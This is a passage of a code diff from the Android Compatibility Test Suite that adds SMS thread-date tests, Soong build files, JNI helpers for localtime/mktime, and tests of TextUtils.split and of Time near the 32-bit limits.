+    // This purpose of this test case is to return latest date inserted as sms from thread
+    @Test
+    public void testMultipleSmsInsertDate_returnsLatestDateFromThread() {
+        final long earlierTime = 1557382640;
+
+        Uri smsUri = addMessageToTelephonyWithDate(earlierTime, MESSAGE_BODY, THREAD_ID);
+        assertThat(smsUri).isNotNull();
+
+        assertVerifyThreadDate(earlierTime);
+
+        final long laterTime = 1557382650;
+
+        Uri smsUri2 = addMessageToTelephonyWithDate(laterTime, MESSAGE_BODY,
+                THREAD_ID);
+        assertThat(smsUri2).isNotNull();
+
+        assertVerifyThreadDate(laterTime);
+    }
+
+    private Uri addMessageToTelephonyWithDate(long date, String messageBody, long threadId) {
+        ContentValues contentValues = new ContentValues();
+
+        contentValues.put(Telephony.Sms.THREAD_ID, threadId);
+        contentValues.put(Telephony.Sms.DATE, date);
+        contentValues.put(Telephony.Sms.BODY, messageBody);
+
+        return mContext.getContentResolver().insert(Telephony.Sms.CONTENT_URI, contentValues);
+    }
+
+    private void assertVerifyThreadDate(long timeStamp) {
+        Cursor cursor = mContentResolver.query(Telephony.Threads.CONTENT_URI,
+                null, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+        assertThat(cursor.moveToNext()).isEqualTo(true);
+
+        assertThat(cursor.getLong(cursor.getColumnIndex(Telephony.Threads.DATE)))
+            .isEqualTo(timeStamp);
+    }
+
+    private Uri saveToTelephony(long threadId, String address, String body) {
+        ContentValues contentValues = new ContentValues();
+        contentValues.put(Telephony.Sms.THREAD_ID, threadId);
+        contentValues.put(Telephony.Sms.ADDRESS, address);
+        contentValues.put(Telephony.Sms.BODY, body);
+
+        return mContext.getContentResolver().insert(Telephony.Sms.Inbox.CONTENT_URI, contentValues);
+    }
+}
diff --git a/tests/tests/text/Android.bp b/tests/tests/text/Android.bp
new file mode 100644
index 0000000..f77f394
--- /dev/null
+++ b/tests/tests/text/Android.bp
@@ -0,0 +1,52 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsTextTestCases",
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+        "androidx.test.rules",
+    ],
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+
+    jni_libs: [
+        "libctstext_jni",
+        "libc++",
+    ],
+    // Include both the 32 and 64 bit versions of libctstext_jni, where
+    // applicable.
+    compile_multilib: "both",
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/tests/tests/text/Android.mk b/tests/tests/text/Android.mk
deleted file mode 100644
index 5f3b5a6..0000000
--- a/tests/tests/text/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES += \
-    compatibility-device-util-axt \
-    ctsdeviceutillegacy-axt \
-    ctstestrunner-axt \
-    androidx.test.rules \
-    mockito-target-minus-junit4 \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsTextTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-# Enforce public / test api only
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/text/jni/Android.bp b/tests/tests/text/jni/Android.bp
new file mode 100644
index 0000000..8055f40
--- /dev/null
+++ b/tests/tests/text/jni/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_library {
+    name: "libctstext_jni",
+    srcs: [
+        "CtsTextJniOnLoad.cpp",
+        "android_text_format_cts_NativeTimeFunctions.cpp",
+    ],
+    static_libs: ["libnativehelper"],
+}
diff --git a/tests/tests/text/jni/CtsTextJniOnLoad.cpp b/tests/tests/text/jni/CtsTextJniOnLoad.cpp
new file mode 100644
index 0000000..04e14f5
--- /dev/null
+++ b/tests/tests/text/jni/CtsTextJniOnLoad.cpp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int register_android_text_format_cts_NativeTimeFunctions(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM *vm, void *) {
+    JNIEnv *env = NULL;
+
+    if (vm->GetEnv((void **) &env, JNI_VERSION_1_4) != JNI_OK) {
+        return JNI_ERR;
+    }
+
+    if (register_android_text_format_cts_NativeTimeFunctions(env)) {
+        return JNI_ERR;
+    }
+
+    return JNI_VERSION_1_4;
+}
diff --git a/tests/tests/text/jni/android_text_format_cts_NativeTimeFunctions.cpp b/tests/tests/text/jni/android_text_format_cts_NativeTimeFunctions.cpp
new file mode 100644
index 0000000..0c85c1e
--- /dev/null
+++ b/tests/tests/text/jni/android_text_format_cts_NativeTimeFunctions.cpp
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include "nativehelper/scoped_utf_chars.h"
+
+// Information about the Java StructTm class.
+static struct {
+    jclass clazz;
+    jmethodID ctor;
+    jfieldID tm_sec;
+    jfieldID tm_min;
+    jfieldID tm_hour;
+    jfieldID tm_mday;
+    jfieldID tm_mon;
+    jfieldID tm_year;
+    jfieldID tm_wday;
+    jfieldID tm_yday;
+    jfieldID tm_isdst;
+    jfieldID tm_gmtoff;
+    jfieldID tm_zone;
+} gStructTmClassInfo;
+
+// The following is not threadsafe but that's a problem with getenv(), setenv(), mktime() it
+// would be impractical to get around. Luckily, tests are single threaded.
+#define SET_TZ(jni_env, javaTzId) \
+    char _originalTz[64]; \
+    char* _tzEnv = getenv("TZ"); \
+    if (_tzEnv != nullptr) { \
+        strncpy(_originalTz, _tzEnv, sizeof(_originalTz)); \
+        _originalTz[sizeof(_originalTz) - 1] = 0; \
+    } \
+    ScopedUtfChars _tzId(jni_env, javaTzId); \
+    setenv("TZ", _tzId.c_str(), 1);
+
+#define UNSET_TZ() \
+    if (_tzEnv != nullptr) { \
+        setenv("TZ", _originalTz, 1); \
+    }
+
+
+static jobject android_text_format_cts_NativeTimeFunctions_localtime_tz(
+        JNIEnv* env, jclass, jint javaTimep, jstring javaTzId)
+{
+    // Call localtime_r
+    struct tm out_tm;
+    {
+        SET_TZ(env, javaTzId);
+
+        const time_t timep = javaTimep;
+        localtime_r(&timep, &out_tm);
+
+        UNSET_TZ();
+    }
+
+    // Copy the results to a StructTm object.
+    jobject javaTm = env->NewObject(gStructTmClassInfo.clazz, gStructTmClassInfo.ctor);
+    env->SetIntField(javaTm, gStructTmClassInfo.tm_sec, out_tm.tm_sec);
+    env->SetIntField(javaTm, gStructTmClassInfo.tm_min, out_tm.tm_min);
+    env->SetIntField(javaTm, gStructTmClassInfo.tm_hour, out_tm.tm_hour);
+    env->SetIntField(javaTm, gStructTmClassInfo.tm_mday, out_tm.tm_mday);
+    env->SetIntField(javaTm, gStructTmClassInfo.tm_mon, out_tm.tm_mon);
+    env->SetIntField(javaTm, gStructTmClassInfo.tm_year, out_tm.tm_year);
+    env->SetIntField(javaTm, gStructTmClassInfo.tm_wday, out_tm.tm_wday);
+    env->SetIntField(javaTm, gStructTmClassInfo.tm_yday, out_tm.tm_yday);
+    env->SetIntField(javaTm, gStructTmClassInfo.tm_isdst, out_tm.tm_isdst);
+    env->SetLongField(javaTm, gStructTmClassInfo.tm_gmtoff, out_tm.tm_gmtoff);
+    env->SetObjectField(javaTm, gStructTmClassInfo.tm_zone, env->NewStringUTF(out_tm.tm_zone));
+    return javaTm;
+}
+
+static jint android_text_format_cts_NativeTimeFunctions_mktime_tz(
+        JNIEnv* env, jclass, jobject javaTm, jstring javaTzId)
+{
+    // Populate a tm struct from the Java StructTm object.
+    struct tm in_tm;
+    in_tm.tm_sec = env->GetIntField(javaTm, gStructTmClassInfo.tm_sec);
+    in_tm.tm_min = env->GetIntField(javaTm, gStructTmClassInfo.tm_min);
+    in_tm.tm_hour = env->GetIntField(javaTm, gStructTmClassInfo.tm_hour);
+    in_tm.tm_mday = env->GetIntField(javaTm, gStructTmClassInfo.tm_mday);
+    in_tm.tm_mon = env->GetIntField(javaTm, gStructTmClassInfo.tm_mon);
+    in_tm.tm_year = env->GetIntField(javaTm, gStructTmClassInfo.tm_year);
+    in_tm.tm_wday = env->GetIntField(javaTm, gStructTmClassInfo.tm_wday);
+    in_tm.tm_yday = env->GetIntField(javaTm, gStructTmClassInfo.tm_yday);
+    in_tm.tm_isdst = env->GetIntField(javaTm, gStructTmClassInfo.tm_isdst);
+    in_tm.tm_gmtoff = env->GetLongField(javaTm, gStructTmClassInfo.tm_gmtoff);
+
+    jstring javaTmZone =
+            static_cast<jstring>(env->GetObjectField(javaTm, gStructTmClassInfo.tm_zone));
+    const char* tmZone = nullptr;
+    if (javaTmZone != nullptr) {
+        tmZone = env->GetStringUTFChars(javaTmZone, nullptr);
+        in_tm.tm_zone = tmZone;
+    }
+
+    // Call mktime
+    jint result = -1;
+    {
+        SET_TZ(env, javaTzId);
+
+        result = mktime(&in_tm);
+
+        UNSET_TZ();
+    }
+
+    if (javaTmZone != nullptr) {
+        env->ReleaseStringUTFChars(javaTmZone, tmZone);
+    }
+
+    return result;
+}
+
+static JNINativeMethod gMethods[] = {
+    { "localtime_tz", "(ILjava/lang/String;)Landroid/text/format/cts/NativeTimeFunctions$StructTm;",
+        (void *) android_text_format_cts_NativeTimeFunctions_localtime_tz },
+    { "mktime_tz", "(Landroid/text/format/cts/NativeTimeFunctions$StructTm;Ljava/lang/String;)I",
+        (void *) android_text_format_cts_NativeTimeFunctions_mktime_tz },
+};
+
+int register_android_text_format_cts_NativeTimeFunctions(JNIEnv* env)
+{
+    jclass javaTmClass = env->FindClass("android/text/format/cts/NativeTimeFunctions$StructTm");
+    gStructTmClassInfo.clazz = (jclass) env->NewGlobalRef(javaTmClass);
+    gStructTmClassInfo.ctor = env->GetMethodID(javaTmClass, "<init>", "()V");
+    gStructTmClassInfo.tm_sec = env->GetFieldID(javaTmClass, "tm_sec", "I");
+    gStructTmClassInfo.tm_min = env->GetFieldID(javaTmClass, "tm_min", "I");
+    gStructTmClassInfo.tm_hour = env->GetFieldID(javaTmClass, "tm_hour", "I");
+    gStructTmClassInfo.tm_mday = env->GetFieldID(javaTmClass, "tm_mday", "I");
+    gStructTmClassInfo.tm_mon = env->GetFieldID(javaTmClass, "tm_mon", "I");
+    gStructTmClassInfo.tm_year = env->GetFieldID(javaTmClass, "tm_year", "I");
+    gStructTmClassInfo.tm_wday = env->GetFieldID(javaTmClass, "tm_wday", "I");
+    gStructTmClassInfo.tm_yday = env->GetFieldID(javaTmClass, "tm_yday", "I");
+    gStructTmClassInfo.tm_isdst = env->GetFieldID(javaTmClass, "tm_isdst", "I");
+    gStructTmClassInfo.tm_gmtoff = env->GetFieldID(javaTmClass, "tm_gmtoff", "J");
+    gStructTmClassInfo.tm_zone = env->GetFieldID(javaTmClass, "tm_zone", "Ljava/lang/String;");
+
+    jclass clazz = env->FindClass("android/text/format/cts/NativeTimeFunctions");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/text/src/android/text/cts/TextUtilsTest.java b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
index 92e2321..af93348 100644
--- a/tests/tests/text/src/android/text/cts/TextUtilsTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
@@ -1874,6 +1874,9 @@
 
     @Test
     public void testSplitPattern() {
+        assertEquals(0, TextUtils.split("", Pattern.compile("")).length);
+        assertEquals(0, TextUtils.split("", Pattern.compile("not found")).length);
+
         String testString = "abccbadecdebz";
         assertEquals(calculateCharsCount(testString, "c") + 1,
                 TextUtils.split(testString, Pattern.compile("c")).length);
@@ -1889,8 +1892,9 @@
                 TextUtils.split(testString, Pattern.compile("[a-c]")).length);
         assertEquals(0, TextUtils.split("", Pattern.compile("a")).length);
         // issue 1695243, not clear what is supposed result if the pattern string is empty.
-        assertEquals(testString.length() + 2,
-                TextUtils.split(testString, Pattern.compile("")).length);
+        assertEquals(
+                Arrays.asList("a", "b", "c", "c", "b", "a", "d", "e", "c", "d", "e", "b", "z", ""),
+                Arrays.asList(TextUtils.split(testString, Pattern.compile(""))));
     }
 
     @Test(expected=NullPointerException.class)
@@ -1919,6 +1923,12 @@
 
     @Test
     public void testSplitString() {
+        assertEquals(0, TextUtils.split("", "").length);
+        assertEquals(0, TextUtils.split("", "not found").length);
+
+        // The case mentioned in the documentation.
+        assertEquals(Arrays.asList("a", ""), Arrays.asList(TextUtils.split("a,", ",")));
+
         String testString = "abccbadecdebz";
         assertEquals(calculateCharsCount(testString, "c") + 1,
                 TextUtils.split("abccbadecdebz", "c").length);
@@ -1930,8 +1940,9 @@
                 TextUtils.split("abccbadecdebz", "de").length);
         assertEquals(0, TextUtils.split("", "a").length);
         // issue 1695243, not clear what is supposed result if the pattern string is empty.
-        assertEquals(testString.length() + 2,
-                TextUtils.split("abccbadecdebz", "").length);
+        assertEquals(
+                Arrays.asList("a", "b", "c", "c", "b", "a", "d", "e", "c", "d", "e", "b", "z", ""),
+                Arrays.asList(TextUtils.split("abccbadecdebz", "")));
     }
 
     @Test(expected=NullPointerException.class)
diff --git a/tests/tests/text/src/android/text/format/cts/NativeTimeFunctions.java b/tests/tests/text/src/android/text/format/cts/NativeTimeFunctions.java
new file mode 100644
index 0000000..628ceb0
--- /dev/null
+++ b/tests/tests/text/src/android/text/format/cts/NativeTimeFunctions.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.format.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import java.time.LocalDateTime;
+
+/**
+ * A test helper class for calling localtime_r() and mktime() for a given time zone.
+ */
+class NativeTimeFunctions {
+    static {
+        System.loadLibrary("ctstext_jni");
+    }
+
+    private NativeTimeFunctions() {}
+
+    private static native StructTm localtime_tz(int timep, String tzId);
+    private static native int mktime_tz(StructTm tm, String tzId);
+
+    /**
+     * Tries native time functions to see if they produce expected results.
+     *
+     * <p>localtime() is called with {tzId + localDateTime} and the result is checked against
+     * timeMillis. mktime() is called with {tzId + timeMillis} and the result is checked against
+     * localDateTime.
+     *
+     * <p>This method only works to second precision in the range of times that Android's
+     * localtime() / mktime() work across all architectures; signed int32 seconds (because time_t
+     * is dependent on word-size on Android). It may not work for ambiguous local times, i.e. local
+     * times that don't exist (because of a "skip forward") or are duplicated (because of a "fall
+     * back"). This method is not threadsafe as it uses the TZ environment variable.
+     */
+    static void assertNativeTimeResults(String tzId, LocalDateTime localDateTime, long timeMillis) {
+        assertLocaltimeResult(tzId, timeMillis, localDateTime);
+        assertMktimeResult(tzId, localDateTime, timeMillis);
+    }
+
+    private static void assertLocaltimeResult(String tzId, long timeMillis,
+            LocalDateTime expected) {
+        StructTm structTm = localtime_tz((int) (timeMillis / 1000), tzId);
+
+        LocalDateTime actual = LocalDateTime.of(
+                structTm.tm_year + 1900,
+                structTm.tm_mon + 1,
+                structTm.tm_mday,
+                structTm.tm_hour,
+                structTm.tm_min,
+                structTm.tm_sec);
+        assertEquals(timeMillis + " in " + tzId, expected, actual);
+    }
+
+    private static void assertMktimeResult(String tzId, LocalDateTime localDateTime,
+            long expectedTimeMillis) {
+
+        // Create a StructTm from the (second precision) information held in the LocalDateTime.
+        StructTm tm = new StructTm();
+        tm.tm_sec = localDateTime.getSecond();
+        tm.tm_min = localDateTime.getMinute();
+        tm.tm_hour = localDateTime.getHour();
+        tm.tm_mday = localDateTime.getDayOfMonth();
+        tm.tm_mon = localDateTime.getMonthValue() - 1;
+        tm.tm_year = localDateTime.getYear() - 1900;
+        tm.tm_isdst = -1;
+        int actualTimeMillis = mktime_tz(tm, tzId);
+        assertEquals(localDateTime + " in " + tzId,
+                expectedTimeMillis, actualTimeMillis * 1000L);
+    }
+
+    /**
+     * A basic Java representation of bionic's struct tm.
+     */
+    static class StructTm {
+        public int tm_sec;    /* Seconds (0-60) */
+        public int tm_min;    /* Minutes (0-59) */
+        public int tm_hour;   /* Hours (0-23) */
+        public int tm_mday;   /* Day of the month (1-31) */
+        public int tm_mon;    /* Month (0-11) */
+        public int tm_year;   /* Year - 1900 */
+        public int tm_wday;   /* Day of the week (0-6, Sunday = 0) */
+        public int tm_yday;   /* Day in the year (0-365, 1 Jan = 0) */
+        public int tm_isdst;  /* Daylight saving time */
+        public long tm_gmtoff;
+        public String tm_zone;
+    }
+}
diff --git a/tests/tests/text/src/android/text/format/cts/TimeTest.java b/tests/tests/text/src/android/text/format/cts/TimeTest.java
index 267b705..ad5c3bf 100644
--- a/tests/tests/text/src/android/text/format/cts/TimeTest.java
+++ b/tests/tests/text/src/android/text/format/cts/TimeTest.java
@@ -35,9 +35,19 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.time.Duration;
+import java.time.Instant;
+import java.time.LocalDateTime;
+import java.time.Month;
+import java.time.ZoneId;
+import java.time.temporal.ChronoUnit;
+import java.time.zone.ZoneOffsetTransition;
+import java.time.zone.ZoneRules;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Calendar;
+import java.util.Date;
+import java.util.GregorianCalendar;
 import java.util.List;
 import java.util.Locale;
 import java.util.Objects;
@@ -1251,17 +1261,19 @@
     public void testSetToNow() {
         Time t = new Time(Time.TIMEZONE_UTC);
 
-        // Time works in seconds so all millis values have to be divided by 1000, otherwise
-        // the greater accuracy of System.currentTimeMillis() causes the test to fail.
-
-        long lowerBound = System.currentTimeMillis() / 1000;
+        Instant lowerBound = Instant.now();
 
         t.setToNow();
 
-        long upperBound = System.currentTimeMillis() / 1000;
+        Instant upperBound = Instant.now();
 
-        long actual = t.toMillis(true /* ignore isDst */) / 1000;
-        assertTrue(lowerBound <= actual && actual <= upperBound);
+        // Time.toMillis() only works in seconds so lower/upper/toMillis() are converted to seconds,
+        // otherwise the greater accuracy from using milliseconds for lowerBound/upperBound can
+        // cause the test to fail.
+        long actualSeconds =
+                Instant.ofEpochMilli(t.toMillis(true /* ignore isDst */)).getEpochSecond();
+        assertTrue(lowerBound.getEpochSecond() <= actualSeconds
+                && actualSeconds <= upperBound.getEpochSecond());
     }
 
     @Test
@@ -1408,7 +1420,7 @@
 
         // Try each minute from one minute before the skipped hour until one after.
         for (int i = -1; i <= 60; i++) {
-            int minutesInMillis = i * 60000;
+            int minutesInMillis = (int) Duration.ofMinutes(i).toMillis();
             int[] timeFields = new int[] { 2007, 2, 11, 2, i, 0, -999 /* not used */, 9, 9, 9 };
 
             Time time = new Time(timezone);
@@ -1478,7 +1490,7 @@
 
         // Try each minute from one minute before the duplicated hour until one after.
         for (int i = -1; i <= 60; i++) {
-            int minutesInMillis = i * 60000;
+            int minutesInMillis = (int) Duration.ofMinutes(i).toMillis();
 
             Time time = new Time(PstPdt.ID);
             int[] timeFields = new int[] { 2007, 10, 4, 1, i, 0, -999 /* not used */, 9, 9, 9};
@@ -1560,7 +1572,7 @@
     }
 
     @Test
-    public void testToMillis_beforeTzRecords() {
+    public void testToMillis_before32BitSeconds() {
         int[] timeFields = new int[] { 1900, 0, 1, 2, 3, 4, -999 /* not used */, 9, 9, 9 };
         verifyToMillisInvalid(timeFields, PstPdt.ID);
         verifyToMillisInvalid(timeFields, Time.TIMEZONE_UTC);
@@ -1601,7 +1613,7 @@
     }
 
     @Test
-    public void testToMillis_afterTzRecords() {
+    public void testToMillis_after32BitSeconds() {
         int[] timeFields = new int[] { 2039, 0, 1, 2, 3, 4, -999 /* not used */, 9, 9, 9 };
         verifyToMillisInvalid(timeFields, PstPdt.ID);
         verifyToMillisInvalid(timeFields, Time.TIMEZONE_UTC);
@@ -1784,23 +1796,24 @@
 
     @Test
     public void testSetMillis_utc() {
+        Instant baseTime = Instant.ofEpochSecond(0);
         String tz = Time.TIMEZONE_UTC;
         Time t = new Time(tz);
-        t.set(1000L);
+        t.set(baseTime.plus(1, ChronoUnit.SECONDS).toEpochMilli());
 
         Time expected = new Time(tz);
         Fields.set(expected, 1970, 0, 1, 0, 0, 1, 0 /* isDst */, 0, 0, 4);
         Fields.verifyTimeEquals(expected, t);
 
-        t.set(2000L);
+        t.set(baseTime.plus(2, ChronoUnit.SECONDS).toEpochMilli());
         Fields.set(expected, 1970, 0, 1, 0, 0, 2, 0 /* isDst */, 0, 0, 4);
         Fields.verifyTimeEquals(expected, t);
 
-        t.set(1000L * 60);
+        t.set(baseTime.plus(1, ChronoUnit.MINUTES).toEpochMilli());
         Fields.set(expected, 1970, 0, 1, 0, 1, 0, 0 /* isDst */, 0, 0, 4);
         Fields.verifyTimeEquals(expected, t);
 
-        t.set((1000L * 60 * 60 * 24) + 1000L);
+        t.set(baseTime.plus(1, ChronoUnit.DAYS).plus(1, ChronoUnit.SECONDS).toEpochMilli());
         Fields.set(expected, 1970, 0, 2, 0, 0, 1, 0 /* isDst */, 0, 1, 5);
         Fields.verifyTimeEquals(expected, t);
     }
@@ -1952,7 +1965,7 @@
     public void testSetJulianDay() {
         Time time = new Time();
 
-        // For each day of the year in 2008, and for each timezone,
+        // For each 20th day of the year in 2008, and for each timezone,
         // test that we can set the Julian day correctly.
         for (int monthDay = 1; monthDay <= 366; monthDay += 20) {
             for (int zoneIndex = 0; zoneIndex < mTimeZones.length; zoneIndex++) {
@@ -1987,7 +2000,7 @@
                     continue;
                 }
                 int day = Time.getJulianDay(millis, time.gmtoff);
-                assertEquals("Error: gmtoff " + (time.gmtoff / 3600.0) + " day " + julianDay
+                assertEquals("Error: gmtoff " + time.gmtoff + " day " + julianDay
                                 + " millis " + millis+ " " + time.format("%B %d, %Y")
                                 + " " + time.timezone,
                         day, julianDay);
@@ -2178,7 +2191,7 @@
 
         // Try each minute from one minute before the skipped hour until one after.
         for (int i = -1; i <= 60; i++) {
-            int minutesInMillis = i * 60000;
+            int minutesInMillis = (int) Duration.ofMinutes(i).toMillis();
             int[] dateTimeArgs = new int[] { 2007, 2, 11, 2, i, 0 };
 
             int[] normalizedAdjustedBackwardDateTimeArgs;
@@ -2369,7 +2382,7 @@
                 normalizedAdjustedForwardDateTimeArgs =  null;
             }
 
-            int minutesInMillis = i * 60000;
+            int minutesInMillis = (int) Duration.ofMinutes(i).toMillis();
 
             // isDst = 0, normalize(true)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2502,7 +2515,7 @@
     }
 
     @Test
-    public void testNormalize_beforeTzRecords() {
+    public void testNormalize_before32BitSeconds() {
         int[] timeFields = new int[] { 1900, 0, 1, 2, 3, 4, -999 /* not used */, 9, 9, 9 };
         verifyNormalizeInvalid(timeFields, PstPdt.ID);
         verifyNormalizeInvalid(timeFields, Time.TIMEZONE_UTC);
@@ -2556,7 +2569,7 @@
     }
 
     @Test
-    public void testNormalize_afterTzRecords() {
+    public void testNormalize_after32BitSeconds() {
         int[] timeFields = new int[] { 2039, 0, 1, 2, 3, 4, -999 /* not used */, 9, 9, 9 };
         verifyNormalizeInvalid(timeFields, PstPdt.ID);
         verifyNormalizeInvalid(timeFields, Time.TIMEZONE_UTC);
@@ -2824,6 +2837,256 @@
         Fields.verifyTimeEquals(expected, t);
     }
 
+    @Test
+    public void test_bug118835133_valuesCloseToInt32Saturation() {
+        // With http://b/118835133 toMillis() returns -1. This is the original bug case.
+        LocalDateTime localDateTime = LocalDateTime.of(2018, Month.OCTOBER, 30, 12, 48, 32);
+        assertLocalTimeMillis("Asia/Singapore", localDateTime, 1540874912000L);
+
+        // The following tests check the upper limits of what Time supports. There's no guarantee
+        // we can't deal with values higher that this but the exact value depends on the version of
+        // zic being used as a transition at exactly Integer.MAX_VALUE can affect our ability to
+        // deal with times. So, we just assert what we know we must be able to do to catch major
+        // regressions. The following timezones are chosen because of their respective geographical
+        // locations (positive / negative offset from UTC) plus whether they had transitions at
+        // Integer.MAX_VALUE with zic > 2014b. The transitions could change in future but there's
+        // nothing we can do about that.
+
+        // Positive offset, has MAX_VALUE transition with zic 2018e.
+        checkUpperSupportedLimit("Asia/Singapore");
+        // Negative offset, has MAX_VALUE transition with zic 2018e.
+        checkUpperSupportedLimit("America/Argentina/Buenos_Aires");
+        // Positive offset, has no MAX_VALUE transition with zic 2018e.
+        checkUpperSupportedLimit("Asia/Shanghai");
+        // Negative offset, has no MAX_VALUE transition with zic 2018e.
+        checkUpperSupportedLimit("America/Los_Angeles");
+
+        // See comment above, but for Integer.MIN_VALUE / lower bound. Most zones do not have an
+        // explicit MIN_VALUE transition with zic 2018e 64-bit data but some zones differ around
+        // whether there are known transitions before Integer.MIN_VALUE.
+
+        // Positive offset zones with first transition before Integer.MIN_VALUE.
+        checkLowerSupportedLimit("Asia/Singapore");
+        checkLowerSupportedLimit("Asia/Shanghai");
+        // Negative offset zones with first transition before Integer.MIN_VALUE.
+        checkLowerSupportedLimit("America/Argentina/Buenos_Aires");
+        checkLowerSupportedLimit("America/Los_Angeles");
+
+        // Positive offset zone with first transition after Integer.MIN_VALUE.
+        checkLowerSupportedLimit("Asia/Kathmandu");
+        // Negative offset zone with first transition after Integer.MIN_VALUE.
+        checkLowerSupportedLimit("America/Yellowknife");
+    }
+
+    private static void checkUpperSupportedLimit(String timeZoneId) {
+        // Integer.MAX_VALUE == Jan 19, 2038 03:14:07 GMT.
+        LocalDateTime max32BitTime = LocalDateTime.of(2038, Month.JANUARY, 19, 3, 14, 7);
+
+        // We take off one extra day in all cases because we can't guarantee we can handle
+        // exactly Integer.MAX_VALUE in all cases due to integer overflow when applying zone
+        // offsets. It gets fiddly if we try to be exact and this is good enough.
+        LocalDateTime testLocalTime = max32BitTime.minusDays(1);
+
+        long expectedMillis = calculateExpectedMillis(timeZoneId, testLocalTime);
+        assertLocalTimeMillis(timeZoneId, testLocalTime, expectedMillis);
+    }
+
+    private static void checkLowerSupportedLimit(String timeZoneId) {
+        // Integer.MIN_VALUE == 13 Dec 1901 20:45:52 GMT.
+        LocalDateTime min32BitTime = LocalDateTime.of(1901, Month.DECEMBER, 13, 20, 45, 52);
+
+        // We add on one extra day in all cases because we can't guarantee we can handle
+        // exactly Integer.MIN_VALUE in all cases due to integer underflow when applying
+        // zone offsets.  It gets fiddly if we try to be exact and this is good enough.
+        LocalDateTime testLocalTime = min32BitTime.plusDays(1);
+
+        long expectedMillis = calculateExpectedMillis(timeZoneId, testLocalTime);
+        assertLocalTimeMillis(timeZoneId, testLocalTime, expectedMillis);
+    }
+
+    private static long calculateExpectedMillis(String timeZoneId, LocalDateTime localDateTime) {
